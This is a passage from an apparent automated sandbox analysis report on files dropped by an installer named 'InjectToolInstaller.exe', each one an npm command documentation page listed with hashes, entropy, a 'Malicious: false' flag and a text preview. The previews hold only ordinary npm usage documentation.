Preview:	---.title: npm-diff.section: 1.description: The registry diff command.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..Similar to its `git diff` counterpart, this command will print diff patches.of files for packages published to the npm registry...* `npm diff --diff=<spec-a> --diff=<spec-b>`.. Compares two package versions using their registry specifiers, e.g:. `npm diff --diff=pkg@1.0.0 --diff=pkg@^2.0.0`. It's also possible to. compare across forks of any package,. e.g: `npm diff --diff=pkg@1.0.0 --diff=pkg-fork@1.0.0`... Any valid spec can be used, so that it's also possible to compare. directories or git repositories,. e.g: `npm diff --diff=pkg@latest --diff=./packages/pkg`.. Here's an example comparing two different versions of a package named. `abbrev` from the registry:.. ```bash. npm diff --diff=abbrev@1.1.0 --diff=abbrev@1.1.1. ```.. On success, output looks like:.. ```bash. diff --git a/package.json b

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-dist-tag.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	3354
Entropy (8bit):	4.834358573043852
Encrypted:	false
SSDEEP:	48:5AsmqNkblNKbcyECpCOBGSF6ot68ZLYPorM+oDm4cl8rlVAs:SsP+VyNsSFBHMlm4cS
MD5:	8500344A94714B02A9E84F7A2D3E42FA
SHA1:	76008E3459175A14BF58215E8455642E30B00D48
SHA-256:	5E083343EC5288F204F3A1BA8F9AD994AB2AA3112844156E090100A959FA700B
SHA-512:	B684E77CD5826826508656F2D32B19F60937BD9F72FB29D70E468C3BEABCC0252AFFFCF3E07FEE0883FF3606CDE9FFB486D04693B870FF0DABFB6DA72E1D60F7
Malicious:	false
Preview:	---.title: npm-dist-tag.section: 1.description: Modify package distribution tags.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..Add, remove, and enumerate distribution tags on a package:..* add: Tags the specified version of the package with the specified tag,. or the [`--tag` config](/using-npm/config#tag) if not specified. If you have. two-factor authentication on auth-and-writes then you.ll need to include a. one-time password on the command line with. `--otp <one-time password>`, or go through a second factor flow based on your `authtype`...* rm: Clear a tag that is no longer in use from the package. If you have. two-factor authentication on auth-and-writes then you.ll need to include. a one-time password on the command line with `--otp <one-time password>`,. or go through a second factor flow based on your `authtype`..* ls: Show all of the dist-tags for a package, defaulting to the package in. the current prefix. This is the default acti

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-docs.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	820
Entropy (8bit):	5.106062606936129
Encrypted:	false
SSDEEP:	24:XlhaJfp55H170WtaJnFE+jf+0fCVUPhVPh9iPh46rz:YzJeWtaJFCOD/AL
MD5:	8C6D689ED7BF008308BF948EF05D58A8
SHA1:	8EB835E080A3A86DAD1C0CF4D216F2903CBFE93A
SHA-256:	FD850042D94B48650F5FA669D8B45E8013B1CAE56705B429B33D5A973774105C
SHA-512:	C32FD164E8860BA7173B30DBC9B96264C9D719D8A143B4F3F3937541258C7F12D417CF3A6BE70777C10310C4C3608FD8A2DA47C4C39D98F9BCC20281EC1CD6A9
Malicious:	false
Preview:	---.title: npm-docs.section: 1.description: Open documentation for a package in a web browser.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This command tries to guess at the likely location of a package's.documentation URL, and then tries to open it using the.[`--browser` config](/using-npm/config#browser) param. You can pass multiple.package names at once. If no package name is provided, it will search for a.`package.json` in the current folder and use the `name` property...### Configuration.. AUTOGENERATED CONFIG DESCRIPTIONS -->..### See Also..* [npm view](/commands/npm-view).* [npm publish](/commands/npm-publish).* [npm registry](/using-npm/registry).* [npm config](/commands/npm-config).* [npmrc](/configuring-npm/npmrc).* [package.json](/configuring-npm/package-json).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-doctor.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	4800
Entropy (8bit):	4.702520430810679
Encrypted:	false
SSDEEP:	96:ETlqdF1wHP9i8iXPqmJtEpl6RYg13+Yr27BNrIk8/cSHicDzqX16:ETlqdsFi8GPzJ6pl6RYg13HK7B19yZuk
MD5:	32FE97C01632E556424028F5F7B15177
SHA1:	C359E3A72B8D678794CFBFFC6278A1B7BDB1BCA5
SHA-256:	2248C6FB48191F0FAA8F76FA247A9AEA6E382D3476CD94876DB0EA7CFF0606E3
SHA-512:	BB6EF60F5D5DBA8A2B155DA928ADCC543CDD2DCC2CAB072E91189EF27133A427E82D63AC75904F8987757082D9A4075D4DDE70E98103DCEE71DFD1D3F6A2D59D
Malicious:	false
Preview:	---.title: npm-doctor.section: 1.description: Check the health of your npm environment.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..`npm doctor` runs a set of checks to ensure that your npm installation has.what it needs to manage your JavaScript packages. npm is mostly a.standalone tool, but it does have some basic requirements that must be met:..+ Node.js and git must be executable by npm..+ The primary npm registry, `registry.npmjs.com`, or another service that. uses the registry API, is available..+ The directories that npm uses, `node_modules` (both locally and. globally), exist and can be written by the current user..+ The npm cache exists, and the package tarballs within it aren't corrupt...Without all of these working properly, npm may not work properly. Many.issues are often attributable to things that are outside npm's code base,.so `npm doctor` confirms that the npm installation is in a good state...Also, in addition to this, there are al

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-edit.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	876
Entropy (8bit):	4.9954673754747
Encrypted:	false
SSDEEP:	24:QfwaJfV7fLasSNj++ISUUEXZGzoJIdK9qVzymTPh9PhfuPh4P:QfbNfL3s++YGzPnHj36s
MD5:	C7346E9375576B7156E55E4D2EB2FDE0
SHA1:	E1035A48B6EA8734C97631806E4090005A107DFD
SHA-256:	40664342955590A6BC4A3C607C901DE77E2F0D620B9C5ABFAAE1EFC5041EA00C
SHA-512:	CC3009297FACBCF63CD405DFF7AC41413B308923022C702C1009C3A03CC090D19CF187231DCB3DF8B577BAB71C8DDFD825E2A4BED8CB9306D850F5B6CE018913
Malicious:	false
Preview:	---.title: npm-edit.section: 1.description: Edit an installed package.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..Selects a dependency in the current project and opens the package folder in.the default editor (or whatever you've configured as the npm `editor`.config -- see [`npm-config`](npm-config).)..After it has been edited, the package is rebuilt so as to pick up any.changes in compiled packages...For instance, you can do `npm install connect` to install connect.into your package, and then `npm edit connect` to make a few.changes to your locally installed copy...### Configuration.. AUTOGENERATED CONFIG DESCRIPTIONS -->..### See Also..* [npm folders](/configuring-npm/folders).* [npm explore](/commands/npm-explore).* [npm install](/commands/npm-install).* [npm config](/commands/npm-config).* [npmrc](/configuring-npm/npmrc).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-exec.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	9131
Entropy (8bit):	4.733562467160887
Encrypted:	false
SSDEEP:	192:3mhCq7eXS2yy7pOMxW391hcOs71K2YM3UExid/Hec:kC2eXNJJIs7b39ild
MD5:	C0569ED3472EDC6DAF05457733E8660A
SHA1:	23BC1205FC24D2A3CEA885AE402FECF484CCF611
SHA-256:	D9B4092412C4DE1930507F4F0F4403C51DCFABA9BF9860581ACC612AAD15223C
SHA-512:	75488E4DC6F89A9F73AA7F0277EE90C93FE43267D8D839CCB10CE5B6819B03EE9DE27BE5CD224F216BABEC2CB347D133A8A9D5B9BD0A4D47B41972F55DA15C8D
Malicious:	false
Preview:	---.title: npm-exec.section: 1.description: Run a command from a local or remote npm package.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This command allows you to run an arbitrary command from an npm package.(either one installed locally, or fetched remotely), in a similar context.as running it via `npm run`...Run without positional arguments or `--call`, this allows you to.interactively run commands in the same sort of shell environment that.`package.json` scripts are run. Interactive mode is not supported in CI.environments when standard input is a TTY, to prevent hangs...Whatever packages are specified by the `--package` option will be.provided in the `PATH` of the executed command, along with any locally.installed package executables. The `--package` option may be.specified multiple times, to execute the supplied command in an environment.where all specified packages are available...If any requested packages are not present in the local project

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-explain.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	1850
Entropy (8bit):	5.137590676019248
Encrypted:	false
SSDEEP:	48:Qtz9ngm9MrvRHPFUeXLMObhHRlBexjbWZd:WgmSLVpX3oo
MD5:	F07D7E970D17D488FC8EABBA7ABBA623
SHA1:	1803D375A8BFD19A02E743123AA2F5359534BF2F
SHA-256:	54D67B7E9594D0703190E984123617538F4EB482F9C1FA89061C58133A5F1892
SHA-512:	5AB350B1823026CA160FFE83C7D4CF82A2121CE20B0321210AA0F7243E0ADEBEAF9E836ECBD29F012F2F5BFD52360DD0B393E48EEF9A803475C61C85F4DDFD87
Malicious:	false
Preview:	---.title: npm-explain.section: 1.description: Explain installed packages.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This command will print the chain of dependencies causing a given package.to be installed in the current project...If one or more package specs are provided, then only packages matching.one of the specifiers will have their relationships explained...The package spec can also refer to a folder within `./node_modules`..For example, running `npm explain glob` within npm's source tree will show:..```bash.glob@7.1.6.node_modules/glob. glob@"^7.1.4" from the root project..glob@7.1.1 dev.node_modules/tacks/node_modules/glob. glob@"^7.0.5" from rimraf@2.6.2. node_modules/tacks/node_modules/rimraf. rimraf@"^2.6.2" from tacks@1.3.0. node_modules/tacks. dev tacks@"^1.3.0" from the root project.```..To explain just the package residing at a specific folder, pass that as the.argument to the command. This can be useful when trying to

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-explore.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	834
Entropy (8bit):	5.037889718992999
Encrypted:	false
SSDEEP:	24:PUaJf7maDilQv6mUSRbSFoteqDvaVzymuPhxu5Ph6oPhfv:PfqVQv6bSEYv6HU7sjR
MD5:	C2893058AE70FAC069C46009DB749A73
SHA1:	72F7A2715934B06546351B9736BA39440965A316
SHA-256:	CA3289D9B61FEB1542020F0199BB69C5C698437DB4161BDC8F263C4100E6746E
SHA-512:	F3EFCBBF97E5EFBAC8DB59671706A133206D7DD5D0320429E1ABD0EEACB7C934444A87202D0B7C820DC801840D3964682FE5C603876B91BFB3C0EA4680C231D9
Malicious:	false
Preview:	---.title: npm-explore.section: 1.description: Browse an installed package.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..Spawn a subshell in the directory of the installed package specified...If a command is specified, then it is run in the subshell, which then.immediately terminates...This is particularly handy in the case of git submodules in the.`node_modules` folder:..```bash.npm explore some-dependency -- git pull origin master.```..Note that the package is not automatically rebuilt afterwards, so be.sure to use `npm rebuild <pkg>` if you make any changes...### Configuration.. AUTOGENERATED CONFIG DESCRIPTIONS -->..### See Also..* [npm folders](/configuring-npm/folders).* [npm edit](/commands/npm-edit).* [npm rebuild](/commands/npm-rebuild).* [npm install](/commands/npm-install).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-find-dupes.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	511
Entropy (8bit):	5.111074771869058
Encrypted:	false
SSDEEP:	12:KcTsDOqiJfHF1TKxIS2Ezfvi5vk5DO48d5Ph7PhX7lPh/rlPhf3:dgaJfHnKH2sngaVKPh7PhX7lPh5Phf3
MD5:	C480D5D47194B85457527AB1FA4F593F
SHA1:	39EF079FB7689748ADDEB04CF13CD1AA87CF31C8
SHA-256:	9CA06995E6B50EEB65B0E606B72375948EF76F5830810C2B5E34E647E9A70372
SHA-512:	1AE1B474FD7EFF23B258505D536992FCC04ADDF4DB5449498D26330586FB763CCA392C66D6EDA5C4719F324C1A8074F9BC654587395FCE677304E5E36DE58F6B
Malicious:	false
Preview:	---.title: npm-find-dupes.section: 1.description: Find duplication in the package tree.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..Runs `npm dedupe` in `--dry-run` mode, making npm only output the.duplications, without actually changing the package tree...### Configuration.. AUTOGENERATED CONFIG DESCRIPTIONS -->..### See Also..* [npm dedupe](/commands/npm-dedupe).* [npm ls](/commands/npm-ls).* [npm update](/commands/npm-update).* [npm install](/commands/npm-install)..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-fund.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	1979
Entropy (8bit):	4.997297047817506
Encrypted:	false
SSDEEP:	48:xz8/drHIDta0Wrb+1atkXjCoeJRaGbvRJRUA:K/dHjTrtqXQTaMtL
MD5:	90F9CF17F46C37994E453EDCCAAA144F
SHA1:	6CFB6A49F9DB5220B2E7C4C81F373C35ADD6BBC8
SHA-256:	6B869050C91D1E4A3AB71C313BBBDA21EB0140AC0622A9A4E78AE3AC6C6406A7
SHA-512:	50B4C87343D0D8EF41DD358BAA39BF0C3A3B44A169F5F92B6D086C0D1AF0A7953DFB36E54FA0CAED05F47BF3C1396B0ED57FD008B03C5E31EE4CF57C45A7E4A5
Malicious:	false
Preview:	---.title: npm-fund.section: 1.description: Retrieve funding information.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This command retrieves information on how to fund the dependencies of a.given project. If no package name is provided, it will list all.dependencies that are looking for funding in a tree structure, listing.the type of funding and the url to visit. If a package name is provided.then it tries to open its funding url using the.[`--browser` config](/using-npm/config#browser) param; if there are multiple.funding sources for the package, the user will be instructed to pass the.`--which` option to disambiguate...The list will avoid duplicated entries and will stack all packages that.share the same url as a single entry. Thus, the list does not have the.same shape of the output from `npm ls`...#### Example..### Workspaces support..It's possible to filter the results to only include a single workspace.and its dependencies using the.[`workspace`

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-help-search.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	647
Entropy (8bit):	4.9746637591952005
Encrypted:	false
SSDEEP:	12:6i7sDOqiJfr953B6lp/SNKLXErx8c80W96K5MYwI5bs5DO45PhT5PhVv:6iYaJfp5R6lR+KLXEN8B0obhwI52V5Pf
MD5:	79CCD183D41B0FF97001D31F482E20F7
SHA1:	237A4859CE9BE853550B256DC0349CD9217F2D04
SHA-256:	DB3FA76BC98A27847CCF4428DE05551F83579E477B241A6A624B92AC92B3CB9B
SHA-512:	E28C231D5E9AD32A54448BEDC8530BABA055FB9D89365F738EF7189EFCCA507D890F9B746FF35B703683D28EBDE9BFA0C51D101EE4715497762DCAC46A99C933
Malicious:	false
Preview:	---.title: npm-help-search.section: 1.description: Search npm help documentation.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This command will search the npm markdown documentation files for the terms.provided, and then list the results, sorted by relevance...If only one result is found, then it will show that help topic...If the argument to `npm help` is not a known help topic, then it will call.`help-search`. It is rarely if ever necessary to call this command.directly...### Configuration.. AUTOGENERATED CONFIG DESCRIPTIONS -->..### See Also..* [npm](/commands/npm).* [npm help](/commands/npm-help).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-help.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	794
Entropy (8bit):	5.061429605414112
Encrypted:	false
SSDEEP:	24:3hIaJfPZ5OQQPJeL6kV5PhmymEPh46rQPhRq:Rzh57s1018+qq
MD5:	8A84DBF4D99819F5F3E7E60E622185EF
SHA1:	F82232C8B3312DBE5063B789400C35C914FA9FAA
SHA-256:	82160E2ADA4C6C314185982A1A9A8765EA1C8D2827D4E5B4F8BF8D810027C23E
SHA-512:	EE81A930B2459CB9E068467995F06D0BEDD883CDAFB3FA373DB3B0255F89F890E0A7C0CE0712C93315709DE9A0DE8A539B33360F7EF91952DE0D5305ADFF8634
Malicious:	false
Preview:	---.title: npm-help.section: 1.description: Get help on npm.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..If supplied a topic, then show the appropriate documentation page...If the topic does not exist, or if multiple terms are provided, then npm.will run the `help-search` command to find a match. Note that, if.`help-search` finds a single subject, then it will run `help` on that.topic, so unique matches are equivalent to specifying a topic name...### Configuration.. AUTOGENERATED CONFIG DESCRIPTIONS -->..### See Also..* [npm](/commands/npm).* [npm folders](/configuring-npm/folders).* [npm config](/commands/npm-config).* [npmrc](/configuring-npm/npmrc).* [package.json](/configuring-npm/package-json).* [npm help-search](/commands/npm-help-search).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-hook.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	1868
Entropy (8bit):	5.019777470861357
Encrypted:	false
SSDEEP:	48:6kehV7ibMN6M+tBY6GUpQKnikksgY17Y1RoF5X2XnFp:A3iOrEnikkDY17Y1RZp
MD5:	3FDD8A4970A3EAB5DFB2A25B63BC0A8D
SHA1:	8FEECA58DDB8E5C268101276F36D7EA0FCB1336E
SHA-256:	E7B97F401ABA9A4A3AE9C11FA2EB89DBCFDF319824AEB6BB137319BDBBFAA897
SHA-512:	BA6042390E199D0BB87969B70FD4352309BF06152E5DAEE094B9FEFBA5BCEDCDC1DF6744F6856E666696D50EE1B530DA2EC6057103A79497FEFE38393FE6F3E8
Malicious:	false
Preview:	---.title: npm-hook.section: 1.description: Manage registry hooks.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..Allows you to manage [npm.hooks](https://blog.npmjs.org/post/145260155635/introducing-hooks-get-notifications-of-npm),.including adding, removing, listing, and updating...Hooks allow you to configure URL endpoints that will be notified whenever a.change happens to any of the supported entity types. Three different types.of entities can be watched by hooks: packages, owners, and scopes...To create a package hook, simply reference the package name...To create an owner hook, prefix the owner name with `~` (as in,.`~youruser`)...To create a scope hook, prefix the scope name with `@` (as in,.`@yourscope`)...The hook `id` used by `update` and `rm` are the IDs listed in `npm hook ls`.for that particular hook...The shared secret will be sent along to the URL endpoint so you can verify.the request came from your own configured hook...### Example..Add a

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-init.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	4936
Entropy (8bit):	4.842288348574431
Encrypted:	false
SSDEEP:	96:tYZ8+0RWg/ABhbFqxR36NS98Lr/9azA4jfR9GM:tk5c/ABfqaNS98dj4j3J
MD5:	6C0495CB33B17638841FD724503CE99D
SHA1:	78E61AD4C8A359CCFA3FD03AB40CD43F1D88858D
SHA-256:	4CE7B81F5035A7EE765B927494CDC00FDAB80262663B97DCB5AF731057BDD2A2
SHA-512:	AD2D9BC65F18968C05E15F76E64C26666A970274D27316D8C1C880CFF3CA1A05A40F4EEA55FD1E070D3B1588DD40BF32FED9DFAD1AEB05E67848F7EA49426634
Malicious:	false
Preview:	---.title: npm-init.section: 1.description: Create a package.json file.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..`npm init <initializer>` can be used to set up a new or existing npm.package...`initializer` in this case is an npm package named `create-<initializer>`,.which will be installed by [`npm-exec`](/commands/npm-exec), and then have its.main bin executed -- presumably creating or updating `package.json` and.running any other initialization-related operations...The init command is transformed to a corresponding `npm exec` operation as.follows:..* `npm init foo` -> `npm exec create-foo`.* `npm init @usr/foo` -> `npm exec @usr/create-foo`.* `npm init @usr` -> `npm exec @usr/create`.* `npm init @usr@2.0.0` -> `npm exec @usr/create@2.0.0`.* `npm init @usr/foo@2.0.0` -> `npm exec @usr/create-foo@2.0.0`..If the initializer is omitted (by just calling `npm init`), init will fall.back to legacy init behavior. It will ask you a bunch of questions, and.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-install-ci-test.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	437
Entropy (8bit):	5.057191244017704
Encrypted:	false
SSDEEP:	12:C1aY9tgzsDOqiJfr95iIwJk5DO4WbYlPhbsUeePhekPhc:OTtZaJfp5i6VbPhQUeePh/Phc
MD5:	0D21E8FF3C7986D5E4BF7311EE736C09
SHA1:	50B670681928F2DEAE40280AB7B8081C8B7CE697
SHA-256:	79140A52C4B396AB1E7F42DC9D7EAC9598239EFB9F966A1B7BF2B46D90E4CA29
SHA-512:	6AF54A6E935DA258A24E3B3287D2CF4EDD6AD9442281E286E7DDB7BD624969DF39965EB1A124C17279D1EE7CB5824F5D13DAB11D065039CA6C3764D7212C47A4
Malicious:	false
Preview:	---.title: npm-install-ci-test.section: 1.description: Install a project with a clean slate and run tests.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This command runs `npm ci` followed immediately by `npm test`...### Configuration.. AUTOGENERATED CONFIG DESCRIPTIONS -->..### See Also..* [npm install-test](/commands/npm-install-test).* [npm ci](/commands/npm-ci).* [npm test](/commands/npm-test).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-install-test.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	497
Entropy (8bit):	5.023248423533524
Encrypted:	false
SSDEEP:	12:CLlwsDOqiJfr95YeAIQb3dueP5DO4WrlPhfPb1dPhb1YhPhc:4taJfp5WBtxVyPhfBdPhpYhPhc
MD5:	6738CD8BF261E6D9BEDBDEE123BB617E
SHA1:	A44E7E01F7D2B581C65D109A44F8E39660623DA2
SHA-256:	1C0E93FDAFA124FFFF40A460C2B90D3F89C4F79B9619BA60A55847C3B2600779
SHA-512:	F88A93895E31BADEE39B488485DE7164A111E49796D9AE4724967AED3C35E29D6B11AD62A696F979BF8FE981AB242C93905ED0174E648CFE55914FCFFC5A5936
Malicious:	false
Preview:	---.title: npm-install-test.section: 1.description: Install package(s) and run tests.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This command runs an `npm install` followed immediately by an `npm test`. It.takes exactly the same arguments as `npm install`...### Configuration.. AUTOGENERATED CONFIG DESCRIPTIONS -->..### See Also..* [npm install](/commands/npm-install).* [npm install-ci-test](/commands/npm-install-ci-test).* [npm test](/commands/npm-test).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-install.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	15734
Entropy (8bit):	4.796174728368738
Encrypted:	false
SSDEEP:	192:kaNCZaXqybKGiOSqEneaI0vnotDEavqToNEfnnwSLK73LA7IW1Y4T3LeyZLe4Izf:kaNCZaXqAy8vqU9oLTjjIaX1eKf8
MD5:	DC6939A830E673F4DFF42ED188686CA8
SHA1:	F227C1C2BE34B4521FC15E1C3CAC9B235EAC6650
SHA-256:	F5BED739A7EC52A7DFED5C474D8C690CD43A48DEA3BEB6AF93A1D03AA4170F8E
SHA-512:	2DA5DAC8EBFDB9ECCC5A0FD708A22BA5EA60703797B03EB322FA7B7AB5DA4407D3063393CFB3219455E5EADB02CB4731830BC763368628BCE1024D1F6E24B20B
Malicious:	false
Preview:	---.title: npm-install.section: 1.description: Install a package.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This command installs a package and any packages that it depends on. If the.package has a package-lock, or an npm shrinkwrap file, or a yarn lock file,.the installation of dependencies will be driven by that, respecting the.following order of precedence:..* `npm-shrinkwrap.json`.* `package-lock.json`.* `yarn.lock`..See [package-lock.json](/configuring-npm/package-lock-json) and.[`npm shrinkwrap`](/commands/npm-shrinkwrap)...A `package` is:..* a) a folder containing a program described by a. [`package.json`](/configuring-npm/package-json) file.* b) a gzipped tarball containing (a).* c) a url that resolves to (b).* d) a `<name>@<version>` that is published on the registry (see. [`registry`](/using-npm/registry)) with (c).* e) a `<name>@<tag>` (see [`npm dist-tag`](/commands/npm-dist-tag)) that. points to (d).* f) a `<name>` that has a "latest"

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-link.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	4041
Entropy (8bit):	4.83310304326163
Encrypted:	false
SSDEEP:	96:VRQCPPBuhF8GFnJXi/0SZ18G45sK2Kkl7olh:VlBu48nJyzZez5oUf
MD5:	AC0A2E0A6CF3EE0E2D9FE763155F89E9
SHA1:	69EA2D82E505873B61D34DA321924E0C68E9FB97
SHA-256:	DC60EE659DCCCCE3816E100004BF520910D38D98E7788952D42097E70E77E70C
SHA-512:	4F7D92E2E6C99BBAE6088E5856871FC9D3A635966DBC3A836C65F737A2E2C1AF0020135011BD7F45715305C9B14FC13C6628460B2805761973ACC2F2FEDF8713
Malicious:	false
Preview:	---.title: npm-link.section: 1.description: Symlink a package folder.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This is handy for installing your own stuff, so that you can work on it and.test iteratively without having to continually rebuild...Package linking is a two-step process...First, `npm link` in a package folder with no arguments will create a.symlink in the global folder `{prefix}/lib/node_modules/<package>` that.links to the package where the `npm link` command was executed. It will.also link any bins in the package to `{prefix}/bin/{name}`. Note that.`npm link` uses the global prefix (see `npm prefix -g` for its value)...Next, in some other location, `npm link package-name` will create a.symbolic link from globally-installed `package-name` to `node_modules/` of.the current folder...Note that `package-name` is taken from `package.json`, _not_ from the.directory name...The package name can be optionally prefixed with a scope. See.[`scope`]

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-login.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	1129
Entropy (8bit):	5.030109733135259
Encrypted:	false
SSDEEP:	24:8/SaJfOh3eeVaBLqgv1kQbZcI57owGNxV4iPh4NPh4dkPhnPhsuAePhAun:8dO80guQbSOsw04A+qctWK/
MD5:	3743408305EC6C1E405C9D1043135CBF
SHA1:	0D0BD2E5246A407779CF3ADAFAA90EE036330BF2
SHA-256:	EF049ED492032556D9A3CB3706AD8EBC03E64F69A16974F3FD7F9D4AA172E554
SHA-512:	B7701EA0A9B2C8ACE4E6FEE8FF6358233828695D06627243D39E09368C58290EC5BDF266C16119044282FB98C8AF1BC6F28ABA23F601B96E8788733EF5E319E4
Malicious:	false
Preview:	---.title: npm-login.section: 1.description: Login to a registry user account.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..Verify a user in the specified registry, and save the credentials to the.`.npmrc` file. If no registry is specified, the default registry will be.used (see [`config`](/using-npm/config))...When using `legacy` for your `auth-type`, the username and password, are.read in from prompts...To reset your password, go to <https://www.npmjs.com/forgot>..To change your email address, go to <https://www.npmjs.com/email-edit>..You may use this command multiple times with the same user account to.authorize on a new machine. When authenticating on a new machine,.the username, password and email address must all match with.your existing record...### Configuration.. AUTOGENERATED CONFIG DESCRIPTIONS -->..### See Also..* [npm registry](/using-npm/registry).* [npm config](/commands/npm-config).* [npmrc](/configuring-npm/npmrc).* [npm owner](/co

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-logout.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	903
Entropy (8bit):	4.963625821863305
Encrypted:	false
SSDEEP:	24:npaJfg2+CdutcP+bL+iTvk4VThSSokXYVpPhObliPh4kdkPhH:nCgFCdCcP+bqAvZRUVlSADcN
MD5:	E3F01634436ED05A45E0C20D9D462897
SHA1:	AC9172396596738DAA08206D7E925B7ED495AC3B
SHA-256:	23E41876B83FE4552B0C9F51FEE229A48038DFC17FA457244C840AF6C9563617
SHA-512:	C4BF878DC57D70D7D3623CAE82F0DB467FA98EDCCF5CA7C5A1A2E07B5E11B4936D42D770125909254682660A2075658CA12222CA56145AA2E7E849887BA6943F
Malicious:	false
Preview:	---.title: npm-logout.section: 1.description: Log out of the registry.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..When logged into a registry that supports token-based authentication, tell.the server to end this token's session. This will invalidate the token.everywhere you're using it, not just for the current environment...When logged into a legacy registry that uses username and password.authentication, this will clear the credentials in your user configuration..In this case, it will _only_ affect the current environment...If `--scope` is provided, this will find the credentials for the registry.connected to that scope, if set...### Configuration.. AUTOGENERATED CONFIG DESCRIPTIONS -->..### See Also..* [npm adduser](/commands/npm-adduser).* [npm registry](/using-npm/registry).* [npm config](/commands/npm-config).* [npm whoami](/commands/npm-whoami).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-ls.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	3161
Entropy (8bit):	4.867696792184661
Encrypted:	false
